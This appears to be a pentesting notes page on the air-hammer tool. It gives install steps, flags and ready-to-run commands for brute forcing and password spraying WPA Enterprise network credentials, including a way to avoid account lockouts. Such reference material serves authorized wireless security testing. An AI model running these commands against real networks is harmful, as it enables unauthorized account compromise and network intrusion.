air-hammer

Overview

air-hammer performs online brute force and password spraying against WPA Enterprise networks. It requires a known username (with domain prefix) and tests passwords one by one against the live AP. Used when a valid domain username is already known (from EAP identity capture or other recon) and the goal is to recover their password.

Install

git clone https://github.com/Wh1t3Rh1n0/air-hammer.git
cd air-hammer
# no requirements.txt — the only dependency is wpa_supplicant
pip3 install wpa_supplicant

Usage

./air-hammer.py [options]

Common Flags

Flag	Description
`-i <iface>`	Wireless interface (managed mode)
`-e <SSID>`	Target network SSID
`-u <file>`	Username file (one per line, with domain)
`-p <file>`	Password wordlist
`-P <password>`	Single password (for spray)

Brute Force Known Username

echo 'DOMAIN\username' > target.user
./air-hammer.py -i wlan1 -e <SSID> -p ~/rockyou-top100000.txt -u target.user

Password Spray

Test one password across many usernames, useful to avoid lockouts:

# Prepend domain to each username
cat ~/usernames.txt | awk '{print "DOMAIN\\" $1}' > ~/domain-users.txt

./air-hammer.py -i wlan1 -e <SSID> -P <PASSWORD> -u ~/domain-users.txt

Setup

Tools

Connecting

Recon

Attacks

Rogue AP

Overview

Install

Usage

Common Flags

Brute Force Known Username

Password Spray

​Overview

​Install

​Usage

​Common Flags

​Brute Force Known Username

​Password Spray

Overview

Install

Usage

Common Flags

Brute Force Known Username

Password Spray